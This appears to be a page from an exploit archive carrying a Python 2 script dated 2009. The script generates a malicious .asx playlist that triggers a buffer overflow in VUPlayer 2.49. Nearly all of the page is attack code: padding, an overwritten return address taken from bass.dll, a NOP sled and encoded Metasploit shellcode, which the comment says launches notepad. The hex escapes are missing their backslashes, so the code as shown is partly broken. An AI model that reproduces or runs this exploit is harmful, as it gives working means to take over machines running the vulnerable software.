[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : VUPlayer 2.49 .ASX File (HREF) Universal Buffer Overflow Exploit
# Published : 2009-01-11
# Author : His0k4
# Previous Title : Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit
# Next Title : Chasys Media Player (.lst playlist) Local Buffer Overflow Exploit


#usage: exploit.py
print "**************************************************************************"
print " VUPlayer 2.49 .ASX File (HREF) Universal Buffer Overflown"
print " Founder: aBo MoHaMeD"
print " exploit code: His0k4"
print " Tested on: Windows XP Pro SP2 Frn"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)n"
print "**************************************************************************"
         	

header1 = (
			"x3Cx41x53x58x20x56x45x52x53x49x4Fx4Ex3Dx22x33"
		    	"x2Ex30x22x3Ex0Ax0Ax3Cx45x4Ex54x52x59x3Ex3Cx54"
			"x49x54x4Cx45x3Ex65x78x70x6Cx6Fx69x74x3Cx2Fx54"
			"x49x54x4Cx45x3Ex0Ax3Cx52x45x46x20x48x52x45x46"
			"x3Dx22"
			)

header2 = (
			"x2Ex61x73x66x22x2Fx3Ex0Ax3Cx2Fx45x4Ex54x52x59"
			"x3Ex3Cx2Fx41x53x58x3E"
		   )
			
buff = "x41" * 1012

EIP = "xDFx18x02x10" #universal address from bass.dll


nop = "x90" * 19

# win32_exec -  EXITFUNC=seh CMD=notepad Size=349 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
	"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
	"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
	"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
	"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
	"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
	"x42x30x42x30x42x50x4bx58x45x54x4ex33x4bx58x4ex37"
	"x45x30x4ax57x41x30x4fx4ex4bx58x4fx54x4ax51x4bx58"
	"x4fx35x42x42x41x50x4bx4ex49x54x4bx58x46x33x4bx48"
	"x41x50x50x4ex41x33x42x4cx49x49x4ex4ax46x48x42x4c"
	"x46x37x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e"
	"x46x4fx4bx43x46x35x46x52x46x30x45x37x45x4ex4bx38"
	"x4fx35x46x52x41x50x4bx4ex48x56x4bx38x4ex50x4bx44"
	"x4bx48x4fx45x4ex41x41x50x4bx4ex4bx48x4ex31x4bx48"
	"x41x30x4bx4ex49x38x4ex45x46x52x46x50x43x4cx41x43"
	"x42x4cx46x46x4bx48x42x54x42x43x45x38x42x4cx4ax57"
	"x4ex50x4bx58x42x34x4ex30x4bx48x42x37x4ex51x4dx4a"
	"x4bx48x4ax56x4ax50x4bx4ex49x30x4bx38x42x48x42x4b"
	"x42x50x42x30x42x30x4bx38x4ax46x4ex53x4fx55x41x43"
	"x48x4fx42x36x48x45x49x38x4ax4fx43x38x42x4cx4bx47"
	"x42x45x4ax56x42x4fx4cx38x46x30x4fx45x4ax56x4ax49"
	"x50x4fx4cx38x50x50x47x45x4fx4fx47x4ex50x56x4fx36"
	"x46x47x45x46x42x37x41x46x46x46x42x30x5a"
    )

exploit = header1 + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.asx",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("nExploit file created!n")
except:
    print "Error"

# www.Syue.com [2009-01-11]